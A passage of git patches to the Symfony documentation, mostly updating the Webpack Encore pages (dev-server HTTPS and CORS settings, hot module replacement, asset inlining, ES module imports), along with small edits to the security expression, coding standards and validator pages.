         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
diff --git a/_build/redirection_map b/_build/redirection_map
index de584707346..402057bdd18 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -511,3 +511,4 @@
 /messenger/message-recorder messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
+/frontend/encore/shared-entry /frontend/encore/split-chunks
diff --git a/frontend.rst b/frontend.rst
index 47d3111dd33..b95f0aa216e 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -61,7 +61,6 @@ Optimizing
 * :doc:`Using a CDN </frontend/encore/cdn>`
 * :doc:`/frontend/encore/code-splitting`
 * :doc:`/frontend/encore/split-chunks`
-* :doc:`Creating a "Shared" entry for re-used modules </frontend/encore/shared-entry>`
 * :doc:`/frontend/encore/url-loader`
 
 Guides
diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 86bdb812b94..75abf94f481 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -12,12 +12,12 @@ To do that, modify the config after fetching it from Encore:
 
     // webpack.config.js
 
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     // ... all Encore config here
 
     // fetch the config, then modify it!
-    var config = Encore.getWebpackConfig();
+    const config = Encore.getWebpackConfig();
 
     // add an extension
     config.resolve.extensions.push('json');
@@ -208,8 +208,8 @@ The following code is equivalent:
 The following loaders are configurable with ``configureLoaderRule()``:
   - ``javascript`` (alias ``js``)
   - ``css``
-  - ``images``
-  - ``fonts``
+  - ``images`` (but use ``configureImageRule()`` instead)
+  - ``fonts`` (but use ``configureFontRule()`` instead)
   - ``sass`` (alias ``scss``)
   - ``less``
   - ``stylus``
diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index 7ea5a541622..28e8f26d80a 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -16,7 +16,7 @@ To reference an image tag from inside a JavaScript file, *require* the file:
 
     // returns the final, public path to this file
     // path is relative to this file - e.g. assets/images/logo.png
-    const logoPath = require('../images/logo.png');
+    import logoPath from '../images/logo.png';
 
     let html = `<img src="${logoPath}" alt="ACME logo">`;
 
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 4d0904125cb..b5683109092 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -8,31 +8,16 @@ While developing, instead of using ``yarn encore dev --watch``, you can use the
 
     $ yarn encore dev-server
 
-This builds and serves the front-end assets from a new server. This server runs at 
-``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``. 
-This server does not actually write the files to disk; instead it servers them from memory, 
+This builds and serves the front-end assets from a new server. This server runs at
+``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
+This server does not actually write the files to disk; instead it servers them from memory,
 allowing for hot module reloading.
 
-As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the 
-``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are 
-:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way), 
+As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the
+``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are
+:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way),
 you're done: the paths in your templates will automatically point to the dev server.
 
-Enabling HTTPS using the Symfony Web Server
--------------------------------------------
-
-If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS,
-you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
-server SSL certificate:
-
-.. code-block:: terminal
-
-    # Unix-based systems
-    $ yarn dev-server --https --pfx=$HOME/.symfony/certs/default.p12
-
-    # Windows
-    $ encore dev-server --https --pfx=%UserProfile%\.symfony\certs\default.p12
-
 dev-server Options
 ------------------
 
@@ -66,53 +51,65 @@ method in your ``webpack.config.js`` file:
 
     The ``Encore.configureDevServerOptions()`` method was introduced in Encore 0.28.4.
 
-Hot Module Replacement HMR
---------------------------
+Enabling HTTPS using the Symfony Web Server
+-------------------------------------------
+
+If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS,
+you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
+server SSL certificate:
+
+.. code-block:: javascript
 
-Encore *does* support `HMR`_ for :doc:`Vue.js </frontend/encore/vuejs>`, but
-does *not* work for styles anywhere at this time. To activate it, pass the ``--hot``
-option:
+    // webpack.config.js
+    // ...
+    const path = require('path');
+
+    Encore
+        // ...
+
+        .configureDevServerOptions(options => {
+            options.https = {
+                pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+            }
+        })
+
+Then make sure you run the ``dev-server`` with the ``--https`` option:
 
 .. code-block:: terminal
 
-    $ ./node_modules/.bin/encore dev-server --hot
+    $ yarn encore dev-server --https
 
-If you want to use SSL with self-signed certificates, add the ``--https``,
-``--pfx=``, and  ``--allowed-hosts`` options to the ``dev-server`` command in
-the ``package.json`` file:
+CORS Issues
+-----------
 
-.. code-block:: diff
+If you experience issues related to CORS (Cross Origin Resource Sharing), set
+the ``firewall`` option:
 
-    {
-        ...
-        "scripts": {
-    -        "dev-server": "encore dev-server",
-    +        "dev-server": "encore dev-server --https --pfx=$HOME/.symfony/certs/default.p12 --allowed-hosts=mydomain.wip",
-            ...
-        }
-    }
+.. code-block:: javascript
 
-If you experience issues related to CORS (Cross Origin Resource Sharing), add
-the ``--disable-host-check`` and ``--port`` options to the ``dev-server``
-command in the ``package.json`` file:
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
 
-.. code-block:: diff
+        .configureDevServerOptions(options => {
+            options.firewall = false;
+        })
 
-    {
-        ...
-        "scripts": {
-    -        "dev-server": "encore dev-server",
-    +        "dev-server": "encore dev-server --port 8080 --disable-host-check",
-            ...
-        }
-    }
+Hot Module Replacement HMR
+--------------------------
 
-.. caution::
+Hot module replacement is a superpower of the ``dev-server`` where styles and
+(in some cases) JavaScript can automatically update without needing to reload
+your page. HMR works automatically with CSS (as long as you're using the
+``dev-server`` and Encore 1.0 or higher) but only works with some JavaScript
+(like :doc:`Vue.js </frontend/encore/vuejs>`).
 
-    Beware that `it's not recommended to disable host checking`_ in general, but
-    here it's required to solve the CORS issue.
+.. versionadded:: 1.0.0
 
+    Before Encore 1.0, you needed to pass a ``--hot`` flag at the command line
+    to enable HMR. You also needed to disable CSS extraction to enable HMR for
+    CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`HMR`: https://webpack.js.org/concepts/hot-module-replacement/
-.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index bbd6469a1c3..ef77cfe71ed 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -54,7 +54,7 @@ is the main config file for both Webpack and Webpack Encore:
 
 .. code-block:: javascript
 
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     // Manually configure the runtime environment if not already configured yet by the "encore" command.
     // It's useful when you use tools that rely on webpack.config.js file.
diff --git a/frontend/encore/shared-entry.rst b/frontend/encore/shared-entry.rst
deleted file mode 100644
index a2c2d08ea2a..00000000000
--- a/frontend/encore/shared-entry.rst
+++ /dev/null
@@ -1,42 +0,0 @@
-Creating a Shared Commons Entry
-===============================
-
-.. caution::
-
-    While this method still works, see :doc:`/frontend/encore/split-chunks` for
-    the preferred solution to sharing assets between multiple entry files.
-
-Suppose you have multiple entry files and *each* requires ``jquery``. In this
-case, *each* output file will contain jQuery, slowing down your user's experience.
-To solve this, you can *extract* the common libraries to a "shared" entry file
-that's included on every page.
-
-Suppose you already have an entry called ``app`` that's included on every page.
-Update your code to use ``createSharedEntry()``:
-
-.. code-block:: diff
-
-    Encore
-        // ...
-    -     .addEntry('app', './assets/app.js')
-    +     .createSharedEntry('app', './assets/app.js')
-        .addEntry('homepage', './assets/homepage.js')
-        .addEntry('blog', './assets/blog.js')
-        .addEntry('store', './assets/store.js')
-
-Before making this change, if both ``app.js`` and ``store.js`` require ``jquery``,
-then ``jquery`` would be packaged into *both* files, which is wasteful. By making
-``app.js`` your "shared" entry, *any* code required by ``app.js`` (like jQuery) will
-*no longer* be packaged into any other files. The same is true for any CSS.
-
-Because ``app.js`` contains all the common code that other entry files depend on,
-its script (and link) tag must be on every page.
-
-.. tip::
-
-    The ``app.js`` file works best when its contents are changed *rarely*
-    and you're using :ref:`long-term caching <encore-long-term-caching>`. Why?
-    If ``app.js`` contains application code that *frequently* changes, then
-    (when using versioning), its filename hash will frequently change. This means
-    your users won't enjoy the benefits of long-term caching for this file (which
-    is generally quite large).
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index dd93a31cf37..cda018f36e8 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -19,8 +19,6 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
 
     import './styles/app.css';
 
-    // import $ from 'jquery';
-
 Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
 your app needs. Encore can do a lot more: minify files, pre-process Sass/LESS,
@@ -35,7 +33,7 @@ of your project. It already holds the basic config you need:
 .. code-block:: javascript
 
     // webpack.config.js
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     Encore
         // directory where compiled assets will be stored
@@ -130,6 +128,8 @@ filename(s) to render. This file is *especially* useful because you can
 :doc:`enable versioning </frontend/encore/versioning>` or
 :doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your
 template: the paths in ``entrypoints.json`` will always be the final, correct paths.
+And if you use :doc:`splitEntryChunks() </frontend/encore/split-chunks>` (where Webpack splits the output into even
+more files), all the necessary ``script`` and ``link`` tags will render automatically.
 
 If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
 point to the final, built file directly. ``entrypoints.json`` is only required for
@@ -147,13 +147,13 @@ some optional features.
 Requiring JavaScript Modules
 ----------------------------
 
-Webpack is a module bundler, which means that you can ``require`` other JavaScript
+Webpack is a module bundler, which means that you can ``import`` other JavaScript
 files. First, create a file that exports a function:
 
 .. code-block:: javascript
 
     // assets/greet.js
-    module.exports = function(name) {
+    export default function(name) {
         return `Yo yo ${name} - welcome to Encore!`;
     };
 
@@ -163,7 +163,7 @@ We'll use jQuery to print this message on the page. Install it via:
 
     $ yarn add jquery --dev
 
-Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
+Great! Use ``import`` to import ``jquery`` and ``greet.js``:
 
 .. code-block:: diff
 
@@ -171,11 +171,11 @@ Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
     // ...
 
     + // loads the jquery package from node_modules
-    + var $ = require('jquery');
+    + import jquery from 'jquery';
 
     + // import the function from greet.js (the .js extension is optional)
     + // ./ (or ../) means to look for a local file
-    + var greet = require('./greet');
+    + import greet from './greet';
 
     + $(document).ready(function() {
     +     $('body').prepend('<h1>'+greet('jill')+'</h1>');
@@ -185,37 +185,6 @@ That's it! If you previously ran ``encore dev --watch``, your final, built files
 have already been updated: jQuery and ``greet.js`` have been automatically
 added to the output file (``app.js``). Refresh to see the message!
 
-The import and export Statements
---------------------------------
-
-Instead of using ``require()`` and ``module.exports`` like shown above, JavaScript
-provides an alternate syntax based on the `ECMAScript 6 modules`_ that includes
-the ability to use dynamic imports.
-
-To export values using the alternate syntax, use ``export``:
-
-.. code-block:: diff
-
-    // assets/greet.js
-    - module.exports = function(name) {
-    + export default function(name) {
-        return `Yo yo ${name} - welcome to Encore!`;
-    };
-
-To import values, use ``import``:
-
-.. code-block:: diff
-
-    // assets/app.js
-    - require('../styles/app.css');
-    + import './styles/app.css';
-
-    - var $ = require('jquery');
-    + import $ from 'jquery';
-
-    - var greet = require('./greet');
-    + import greet from './greet';
-
 .. _multiple-javascript-entries:
 
 Page-Specific JavaScript or CSS (Multiple Entries)
@@ -357,5 +326,4 @@ Encore supports many more features! For a full list of what you can do, see
 `Encore's index.js file`_. Or, go back to :ref:`list of Encore articles <encore-toc>`.
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
-.. _`ECMAScript 6 modules`: https://hacks.mozilla.org/2015/08/es6-in-depth-modules/
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index 0205537b7d0..5569a9731f3 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -23,9 +23,10 @@ To enable this, call ``splitEntryChunks()``:
 
 
 Now, each output file (e.g. ``homepage.js``) *may* be split into multiple file
-(e.g. ``homepage.js``, ``vendor~homepage.js``). This means that you *may* need to
-include *multiple* ``script`` tags (or ``link`` tags for CSS) in your template.
-Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>`
+(e.g. ``homepage.js`` & ``vendors-node_modules_jquery_dist_jquery_js.js`` - the
+filename of the second will be less obvious when you build for production). This
+means that you *may* need to include *multiple* ``script`` tags (or ``link`` tags
+for CSS) in your template. Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>`
 file that lists exactly which CSS and JavaScript files are needed for each entry.
 
 If you're using the ``encore_entry_link_tags()`` and ``encore_entry_script_tags()``
@@ -37,9 +38,9 @@ tags as needed:
 
     {#
         May now render multiple script tags:
-            <script src="/build/runtime.js"></script>
-            <script src="/build/vendor~homepage.js"></script>
-            <script src="/build/homepage.js"></script>
+            <script src="/build/runtime.js" defer></script>
+            <script src="/build/vendors-node_modules_jquery_dist_jquery_js.js" defer></script>
+            <script src="/build/homepage.js" defer></script>
     #}
     {{ encore_entry_script_tags('homepage') }}
 
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 976cd6974d8..9567960c99d 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,18 +1,11 @@
-Inlining files in CSS with Webpack URL Loader
-=============================================
+Inlining Images & Fronts in CSS
+===============================
 
 A simple technique to improve the performance of web applications is to reduce
 the number of HTTP requests inlining small files as base64 encoded URLs in the
 generated CSS files.
 
-Webpack Encore provides this feature via Webpack's `URL Loader`_ plugin, but
-it's disabled by default. First, add the URL loader to your project:
-
-.. code-block:: terminal
-
-    $ yarn add url-loader --dev
-
-Then enable it in your ``webpack.config.js``:
+You can enable this in ``webpack.config.js`` for images, fonts or both:
 
 .. code-block:: javascript
 
@@ -21,31 +14,19 @@ Then enable it in your ``webpack.config.js``:
 
     Encore
         // ...
-        .configureUrlLoader({
-            fonts: { limit: 4096 },
-            images: { limit: 4096 }
+        .configureImageRule({
+            // tell Webpack it should consider inlining
+            type: 'asset',
+            //maxSize: 4 * 1024, // 4 kb - the default is 8kb
         })
-    ;
-
-The ``limit`` option defines the maximum size in bytes of the inlined files. In
-the previous example, font and image files having a size below or equal to 4 KB
-will be inlined and the rest of files will be processed as usual.
-
-You can also use all the other options supported by the `URL Loader`_. If you
-want to disable this loader for either images or fonts, remove the corresponding
-key from the object that is passed to the ``configureUrlLoader()`` method:
-
-.. code-block:: javascript
-
-    // webpack.config.js
-    // ...
 
-    Encore
-        // ...
-        .configureUrlLoader({
-            // 'fonts' is not defined, so only images will be inlined
-            images: { limit: 4096 }
+        .configureFontRule({
+            type: 'asset',
+            //maxSize: 4 * 1024
         })
     ;
 
-.. _`URL Loader`: https://github.com/webpack-contrib/url-loader
+This leverages Webpack `Asset Modules`_. You can read more about this and the
+configuration there.
+
+.. _`Asset Modules`: https://webpack.js.org/guides/asset-modules/
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 3d10eedcd41..eb8e2793c82 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -65,11 +65,11 @@ Hot Module Replacement (HMR)
 
 The ``vue-loader`` supports hot module replacement: just update your code and watch
 your Vue.js app update *without* a browser refresh! To activate it, use the
-``dev-server`` with the ``--hot`` option:
+``dev-server``:
 
 .. code-block:: terminal
 
-    $ yarn encore dev-server --hot
+    $ yarn encore dev-server
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
 note: this does *not* currently work for *style* changes in a ``.vue`` file. Seeing

From 47d7639fa796d47fab5492d8a912c51f58536e35 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 4 Feb 2021 19:28:08 -0500
Subject: [PATCH 1808/7107] re-adding warning about host check

---
 frontend/encore/dev-server.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index b5683109092..3edd2d8ef83 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -97,6 +97,9 @@ the ``firewall`` option:
             options.firewall = false;
         })
 
+Beware that `it's not recommended to disable the firewall`_ in general, but
+here it's required to solve the CORS issue.
+
 Hot Module Replacement HMR
 --------------------------
 
@@ -113,3 +116,4 @@ your page. HMR works automatically with CSS (as long as you're using the
     CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
+.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
\ No newline at end of file

From bc6ca521abf3472abd70f92eb68498aa55b3f752 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Feb 2021 13:01:32 +0100
Subject: [PATCH 1809/7107] Minor tweak

---
 security/expressions.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 6ea9d56a5d6..91454691d5f 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -43,8 +43,8 @@ Inside the expression, you have access to a number of variables:
     indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``role_names``
-    A string representation of the roles the user has. This array includes any roles granted
-    indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
+    An array with the string representation of the roles the user has. This array
+    includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``object``
     The object (if any) that's passed as the second argument to ``isGranted()``.

From 77ace60dd9145a36b813aa4ce51af35f39d17097 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Feb 2021 13:02:25 +0100
Subject: [PATCH 1810/7107] Removed the "roles" variable

---
 security/expressions.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 0740512ed04..cfdf006466c 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -38,10 +38,6 @@ Inside the expression, you have access to a number of variables:
 
 ``user``
     The user object (or the string ``anon`` if you're not authenticated).
-``roles``
-    The array of roles the user has. This array includes any roles granted
-    indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
-    does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``role_names``
     An array with the string representation of the roles the user has. This array
     includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it

From 451168397cdd0fa609bd1d68b7a8bbab22e66692 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Feb 2021 13:10:36 +0100
Subject: [PATCH 1811/7107] Mention the "subject" expression language variable

---
 security/expressions.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 91454691d5f..2ed16878ff2 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -48,6 +48,8 @@ Inside the expression, you have access to a number of variables:
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``object``
     The object (if any) that's passed as the second argument to ``isGranted()``.
+``subject``
+    It stores the same value as ``object``, so they are equivalent.
 ``token``
     The token object.
 ``trust_resolver``

From 4539584ba51b3716ec7fabca591037a6341db82d Mon Sep 17 00:00:00 2001
From: Alexandre Mallet <woprrr.dev@gmail.com>
Date: Thu, 4 Feb 2021 16:03:52 +0100
Subject: [PATCH 1812/7107] Change deprecated psr 2 to psr 12 from doc

PSR 2 => PSR 12
---
 contributing/code/standards.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 586a868aae2..0371a518632 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -5,7 +5,7 @@ Symfony code is contributed by thousands of developers around the world. To make
 every piece of code look and feel familiar, Symfony defines some coding standards
 that all contributions must follow.
 
-These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_ and `PSR-4`_
+These Symfony coding standards are based on the `PSR-1`_, `PSR-12`_ and `PSR-4`_
 standards, so you may already know most of them.
 
 Making your Code Follow the Coding Standards

From 2c7042fe4abe6c64b94a69372a558d1dc354cba4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Feb 2021 16:49:16 +0100
Subject: [PATCH 1813/7107] Added the missing reference

---
 contributing/code/standards.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 0371a518632..1ee3c5380ed 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -5,8 +5,8 @@ Symfony code is contributed by thousands of developers around the world. To make
 every piece of code look and feel familiar, Symfony defines some coding standards
 that all contributions must follow.
 
-These Symfony coding standards are based on the `PSR-1`_, `PSR-12`_ and `PSR-4`_
-standards, so you may already know most of them.
+These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_, `PSR-4`_
+and `PSR-12`_ standards, so you may already know most of them.
 
 Making your Code Follow the Coding Standards
 --------------------------------------------
@@ -287,6 +287,7 @@ License
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
+.. _`PSR-12`: https://www.php-fig.org/psr/psr-12/
 .. _`identical comparison`: https://www.php.net/manual/en/language.operators.comparison.php
 .. _`Yoda conditions`: https://en.wikipedia.org/wiki/Yoda_conditions
 .. _`camelCase`: https://en.wikipedia.org/wiki/Camel_case

From a32dd60d073d24bbfb2a6934e85a66842b10d1c9 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 6 Feb 2021 12:26:54 +0100
Subject: [PATCH 1814/7107] [Validator] Use single quotes for a string

---
 reference/constraints/EqualTo.rst     | 2 +-
 reference/constraints/IdenticalTo.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 75d80043cda..a4721a086c3 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -61,7 +61,7 @@ and that the ``age`` is ``20``, you could do the following:
 
         class Person
         {
-            #[Assert\EqualTo("Mary")]
+            #[Assert\EqualTo('Mary')]
             protected $firstName;
 
             #[Assert\EqualTo(
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 7dc71b475f0..27ba84e59fe 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -63,7 +63,7 @@ The following constraints ensure that:
 
         class Person
         {
-            #[Assert\IdenticalTo("Mary")]
+            #[Assert\IdenticalTo('Mary')]
             protected $firstName;
 
             #[Assert\IdenticalTo(

From 648bd07c2fd9bfdaba54590da94ca3d610880ec8 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 6 Feb 2021 12:50:36 +0100
Subject: [PATCH 1815/7107] [Validator] Use correct single quotes for a string

---
 reference/constraints/IsFalse.rst | 2 +-
 reference/constraints/IsTrue.rst  | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index e476fb25387..5b2597d8657 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -3,7 +3,7 @@ IsFalse
 
 Validates that a value is ``false``. Specifically, this checks to see if
 the value is exactly ``false``, exactly the integer ``0``, or exactly the
-string "``0``".
+string ``'0'``.
 
 Also see :doc:`IsTrue <IsTrue>`.
 
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 2066b6d4e73..d9d53b04f82 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -2,7 +2,7 @@ IsTrue
 ======
 
 Validates that a value is ``true``. Specifically, this checks if the value is
-exactly ``true``, exactly the integer ``1``, or exactly the string ``"1"``.
+exactly ``true``, exactly the integer ``1``, or exactly the string ``'1'``.
 
 Also see :doc:`IsFalse <IsFalse>`.
 

From 35467b97d09033f2d2f0fc777fe335f25340f55f Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sat, 6 Feb 2021 13:06:50 +0100
Subject: [PATCH 1816/7107] [Validator] Add a missing dot

The other two issues end with a dot.
---
 reference/constraints/Sequentially.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 21e088ba689..da7bd16f4b2 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -35,7 +35,7 @@ In such situations, you may encounter three issues:
 
 * the ``Length`` or ``Regex`` constraints may fail hard with a :class:`Symfony\\Component\\Validator\\Exception\\UnexpectedValueException`
   exception if the actual value is not a string, as enforced by ``Type``.
-* you may end with multiple error messages for the same property
+* you may end with multiple error messages for the same property.
 * you may perform a useless and heavy external call to geolocalize the address,
   while the format isn't valid.
 

From 7332254b3eff85db5f5aac8cce574b28eec72ac0 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 4 Feb 2021 21:20:10 -0500
Subject: [PATCH 1817/7107] Adding notes related to the dev-server https fix in
 Encore

---
 frontend/encore/dev-server.rst | 32 ++++++++++++++++++++------------
 1 file changed, 20 insertions(+), 12 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 3edd2d8ef83..b1f72e5996b 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -21,12 +21,18 @@ you're done: the paths in your templates will automatically point to the dev ser
 dev-server Options
 ------------------
 
+.. caution::
+
+    Encore uses ``webpack-dev-server`` version 4, which at the time of Encore's
+    1.0 release was still in beta and was not documented. See the `4.0 CHANGELOG`_
+    for changes.
+
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
 .. code-block:: terminal
 
-    $ yarn encore dev-server --https --port 9000
+    $ yarn encore dev-server --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
 method in your ``webpack.config.js`` file:
@@ -58,26 +64,27 @@ If you're using the :doc:`Symfony web server </setup/symfony_server>` locally wi
 you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
 server SSL certificate:
 
-.. code-block:: javascript
+.. code-block:: diff
 
     // webpack.config.js
     // ...
-    const path = require('path');
+    + const path = require('path');
 
     Encore
         // ...
 
-        .configureDevServerOptions(options => {
-            options.https = {
-                pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
-            }
-        })
+    +     .configureDevServerOptions(options => {
+    +         options.https = {
+    +             pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +         }
+    +     })
 
-Then make sure you run the ``dev-server`` with the ``--https`` option:
 
-.. code-block:: terminal
+.. caution::
 
-    $ yarn encore dev-server --https
+    Make sure to **not** pass the ``--https`` flag at the command line when
+    running ``encore dev-server``. This flag was required before 1.0, but now
+    will cause your config to be overridden.
 
 CORS Issues
 -----------
@@ -116,4 +123,5 @@ your page. HMR works automatically with CSS (as long as you're using the
     CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
\ No newline at end of file
+.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`4.0 CHANGELOG`: https://github.com/webpack/webpack-dev-server/blob/master/CHANGELOG.md#400-beta0-2020-11-27

From 91ecbdab13bcc81144dfdabfc866c9c0351a5e24 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sun, 7 Feb 2021 17:09:18 +0100
Subject: [PATCH 1818/7107] Clarify the role of http_method_override

---
 forms.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/forms.rst b/forms.rst
index 1654aa3deba..17cd593d416 100644
--- a/forms.rst
+++ b/forms.rst
@@ -777,7 +777,8 @@ to the ``form()`` or the ``form_start()`` helper functions:
     that stores this method. The form will be submitted in a normal ``POST``
